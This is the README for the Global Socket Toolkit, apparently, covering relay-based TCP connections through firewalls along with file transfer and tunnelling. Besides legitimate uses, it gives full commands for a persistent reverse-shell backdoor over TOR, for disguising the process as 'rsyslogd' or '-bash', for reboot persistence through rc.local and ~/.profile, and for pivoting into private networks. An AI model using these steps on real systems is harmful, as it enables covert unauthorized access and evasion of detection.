Connect like there is no firewall. Securely.
The Global Socket Tookit allows two users behind NAT/Firewall to establish a TCP connection with each other. Securely.
More on https://www.gsocket.io.
Video 1: gs-netcat reverse login shell and EEElite-console
Video 2: Using gsocket to hijack OpenSSH
Video 3: Blitz files through firewalls
Features:
- Uses the Global Socket Relay Network to connect TCP pipes
- End-2-End encryption (using OpenSSL's SRP / RFC 5054)
- AES-256 & key exchange using 4096-bit Prime
- No PKI required.
- Perfect Forward Secrecy
- TOR support (optional)
Abandon the thought of IP Addresses and Port Numbers. Instead start thinking that two programs should be able to communicate with each other as long as they know the same secret (rather than each other's IP Address and Port Number). The Global Socket library facilitates this: It locally derives temporary session keys and IDs and connects two programs through the Global Socket Relay Network (GSRN) regardless and independent of the local IP Address or geographical location. Once connected the library then negotiates a secure TLS connection(End-2-End). The secret never leaves your workstation. The GSRN sees only the encrypted traffic.
The GSRN is a free cloud service and is free to use by anyone.
The Global Socket Toolkit comes with a set of tools:
- gsocket - Makes an existing program (behind firewall or NAT) accessible from anywhere in the world. It does so by analyzing the program and replacing the IP-Layer with its own Gsocket-Layer. A client connection to a hostname ending in '*.gsocket' then gets automatically redirected (via the GSRN) to this program.
- gs-netcat - Netcat on steroids. Turn gs-netcat into an AES-256 encrypted reverse backdoor via TOR (optional) with a true PTY/interactive command shell (
gs-netcat -s MySecret -i), integrated file-transfer, spawn a Socks4/4a/5 proxy or forward TCP connections or give somebody temporary shell access. - gs-sftp - sftp server & client between two firewalled workstations (
gs-sftp -s MySecret) - gs-mount - Access and mount a remote file system (
gs-mount -s MySecret ~/mnt/warez) - blitz - Copy data from workstation to workstation (
blitz -s MySecret /usr/share/*) - ...many more examples and tools.
| Static | pre-compiled static binaries for AMD64, ARM64, MIPS, ... |
| Source | gsocket-1.4.41.tar.gz (Linux, MacOS, FreeBSD, OpenBSD, Solaris) |
| .deb | x86_64, aarch64, ...more architectures |
| Windows | gs-netcat only or use docker or cygwin |
| Man Page | gsocket(1), gs-netcat(1), gs-mount(1), gs-sftp(1), blitz(1) |
| Docker | docker run --rm -it hackerschoice/gsocket |
| Docker | docker run --rm -it hackerschoice/gsocket-tor # gs via TOR |
Examples
| All | examples |
| OpenSSH via GSRN | examples/sshd |
| WireGuard via GSRN | examples/wireguard |
| Root-Shell via GSRN | examples/systemd-root-shell |
| IRCD via GSRN | examples/port-forward |
Follow the Installation Instructions for all major Operating Systems.
Usage:
- Log in to Workstation A from Workstation B through any firewall/NAT
$ gs-netcat -l -i # Workstation A
$ gs-netcat -i # Workstation B
See also: gs-netcat(1)
- A Simple TCP forward
$ gs-netcat -l -d 127.0.0.1 -p 22 # Workstation A
$ gs-netcat -p 2222 # Workstation B
# A connection on B's port 2222 will end up on A's port 22
$ nc -vn 127.0.0.1 2222
- SSH from Workstation B to Workstation A through any firewall/NAT
$ gsocket /usr/sbin/sshd # Workstation A
$ gsocket ssh root@gsocket # Workstation B
See also: gsocket(1)
$ blitz -l # Workstation A
$ blitz /usr/share/* /etc/* # Workstation B
See also: blitz(1)
- SFTP through Global Socket Relay Network
$ gs-sftp -l # Workstation A
$ gs-sftp # Workstation B
See also: gs-sftp(1)
- Mount Workstation A's directory from Workstation B
$ gs-mount -l # Workstation A
$ gs-mount ~/mnt # Workstation B
See also: gs-mount(1)
- Pipe data from Workstation B to Workstation A
$ gs-netcat -l -r >warez.tar.gz # Workstation A
$ gs-netcat <warez.tar.gz # Workstation B
- OpenVPN between two firewalled workstations:
$ gsocket openvpn --dev tun1 --proto tcp-server --ifconfig 10.9.8.1 10.9.8.2 # Workstation A
$ gsocket openvpn --dev tun1 --proto tcp-client --ifconfig 10.9.8.2 10.9.8.1 --remote gsocket # Workstation B
See also: gsocket(1)
- Execute any command (nc -e style) on Workstation A
$ gs-netcat -l -e "echo hello world; id; exit" # Workstation A
$ gs-netcat # Workstation B
Another example: Spawn a new docker environment deep inside a private network
# Start this on a host deep inside a private network
gs-netcat -il -e "docker run --rm -it kalilinux/kali-rolling"
Access the docker environment deep inside the private network from anywhere in the world:
gs-netcat -i
This is particularly useful to allow fellow hackers to access a private network without having to give them access to the system itself.
- Quick Secure Chat with a friend
$ gs-full-pipe -s MySecret -A # You
$ gs-full-pipe -s MySecret -A # Them
- Access entirety of Workstation A's private LAN (Sock4/4a/5 proxy)
$ gs-netcat -l -S # Workstation A (EXIT)
$ gs-netcat -p 1080 # Workstation B
Access www.google.com via Workstation A's private LAN from your Workstation B:
$ curl --socks4a 127.1:1080 http://www.google.com
Access fileserver.local:22 on Workstation A's private LAN from your Workstation B:
$ socat - "SOCKS4a:127.1:fileserver.local:22"
A far more powerful solution is to multiplex the TCP connection with Gost:
### Workstation A (EXIT)
$ gost -L mws://:40009 &
$ gs-netcat -l -p 40009
### Workstation B:
$ gost -L :1080 -F 'mws://:40008' &
$ gs-netcat -p 40008
$ curl -x socks5h://0 ipinfo.io
The packet goes from Curl -> Gost (Port 1080). It is then multiplexed into the single single TCP connection to B's gs-netcat (Port 40008) and forwarded via GSRN to A's gs-netcat. A's gs-netcat forwards the packet to A's Gost (Port 40009) where the stream is de-multiplexed and send to Gost's socks5 server and then forwarded to the Internet.
- Persistant, daemonized and auto-respawn/watchdog reverse PTY backdoor via TOR
$ gs-netcat -l -i -D # some firewalled server
$ gs-netcat -i -T # You, via TOR
- SoCAT 2
gs-netcat can be used in a socat address-chain using the EXEC target. Happy bouncing. Enjoy. :>
Pro-Tips:
- Force TOR or fail: Add -T to relay your traffic through TOR or use these environment variable to force TOR or fail gracefully if TOR is not running:
$ export GSOCKET_SOCKS_IP=127.0.0.1
$ export GSOCKET_SOCKS_PORT=9050
- A reverse shell
Gs-netcat supports multiple concurrent connections and spawns a real PTY/interactive-shell with ctrl-c and colors working (like OpenSSH does).
$ gs-netcat -l -i # Host
$ gs-netcat -T -i # Workstation (via Tor & Global Socket Relay)
Add -D on the host side to start gs-netcat as a daemon and in watchdog-mode: Gs-netcat will restart automatically if killed.
- Use -k
Using -s is not secure. Add your secret to a file and use -k <filen> or use GSOCKET_ARGS="-s <MySecret>".
GSOCKET_ARGS="-s MySecret" gs-netcat -l
Use this command to generate a new secure password at random:
gs-netcat -g
- Hide your arguments (argv)
Pass the arguments by environment variable (GSOCKET_ARGS) and use a bash-trick to hide gs-netcat binary in the process list:
$ export GSOCKET_ARGS="-s MySecret -li -q -D"
$ exec -a -bash ./gs-netcat & # Hide as '-bash'.
$ ps alxww | grep gs-netcat
$ ps alxww | grep -bash
1001 47255 1 0 26 5 4281168 436 - SNs ?? 0:00.00 -bash
- SSH login to remote workstation
# On the remote workstation execute:
gs-netcat -s MySecret -l -d 192.168.6.7 -p 22
# Access 192.168.6.7 via ssh on the remote network from your workstation:
ssh -o ProxyCommand='gs-netcat -s MySecret' root@doesnotmatter
- Retain access after reboot
The easiest way to retain access to a remote system is by using the automated deploy script. Alternatively the following can be used to achieve the same:
Combine what you have learned so far and make your backdoor restart after reboot (and as a hidden service obfuscated as rsyslogd). Use any of the start-up scripts, such as /etc/rc.local:
$ cat /etc/rc.local
#! /bin/sh -e
GSOCKET_ARGS="-s MySecret -liqD" HOME=/root TERM=xterm-256color SHELL="/bin/bash" /bin/bash -c "cd $HOME; exec -a rsyslogd /usr/local/bin/gs-netcat"
exit 0
Not all environment variables are set during system bootup. Set some variables to make the backdoor more enjoyable: TERM=xterm-256color and SHELL=/bin/bash and HOME=/root. The startup script (/etc/rc.local) uses /bin/sh which does not support our exec -a trick. Thus we use /bin/sh to start /bin/bash which in turn does the exec -a trick and starts gs-netcat. Puh. The gs-netcat process is hidden (as rsyslogd) from the process list. Read how to enable rc.local if /etc/rc.local does not exist.
Alternatively install gs-netcat as a systemd service.
Alternativly and if you do not have root privileges then just append the following line to the user's ~/.profile file. This will start gs-netcat (if it is not already running) the next time the user logs in. There are many other ways to restart a reverse shell after system reboot:
killall -0 gs-netcat 2>/dev/null || (GSOCKET_ARGS="-s MySecret -liqD" SHELL=/bin/bash exec -a -bash /usr/local/bin/gs-netcat)
Crypto / Security Mumble Jumble
- The security is end-2-end. This means from User-2-User (and not just to the Relay Network). The Relay Network relays only (encrypted) data to and from the Users.
- The session key is 256 bit and ephemeral. It is freshly generated for every session and generated randomly (and is not based on the password).
- The password can be 'weak' without weakening the security of the session. A brute force attack against a weak password requires a new TCP connection for every guess.
- Do not use stupid passwords like 'password123'. Malice might pick the same (stupid) password by chance and connect. If in doubt use gs-netcat -g to generate a strong one. Alice's and Bob's password should at least be strong enough so that Malice can not guess it by chance while Alice is waiting for Bob to connect.
- If Alice shares the same password with Bob and Charlie and either one of them connects then Alice can not tell if it is Bob or Charlie who connected.
- Assume Alice shares the same password with Bob and Malice. When Alice stops listening for a connection then Malice could start to listen for the connection instead. Bob (when opening a new connection) can not tell if he is connecting to Alice or to Malice. Use -a <token> if you worry about this. TL;DR: When sharing the same password with a group larger than 2 then it is assumed that everyone in that group plays nicely. Otherwise use SSH over the GS/TLS connection.
- SRP has Perfect Forward Secrecy. This means that past sessions can not be decrypted even if the password becomes known.
- It is possible (by using traffic analytics) to determine that Alice is communicating with Bob. The content of such communcitation is however secret (private) and can not be revealed by an ISP or the GSRN backend. The gsocket tools (such as gs-netcat) support the -T flag to anonymize the traffic via TOR.
- I did not invent SRP. It's part of OpenSSL :>
If netcat is a swiss army knife then gs-netcat is a germanic battle axe...
--acpizer/UnitedCrackingForce
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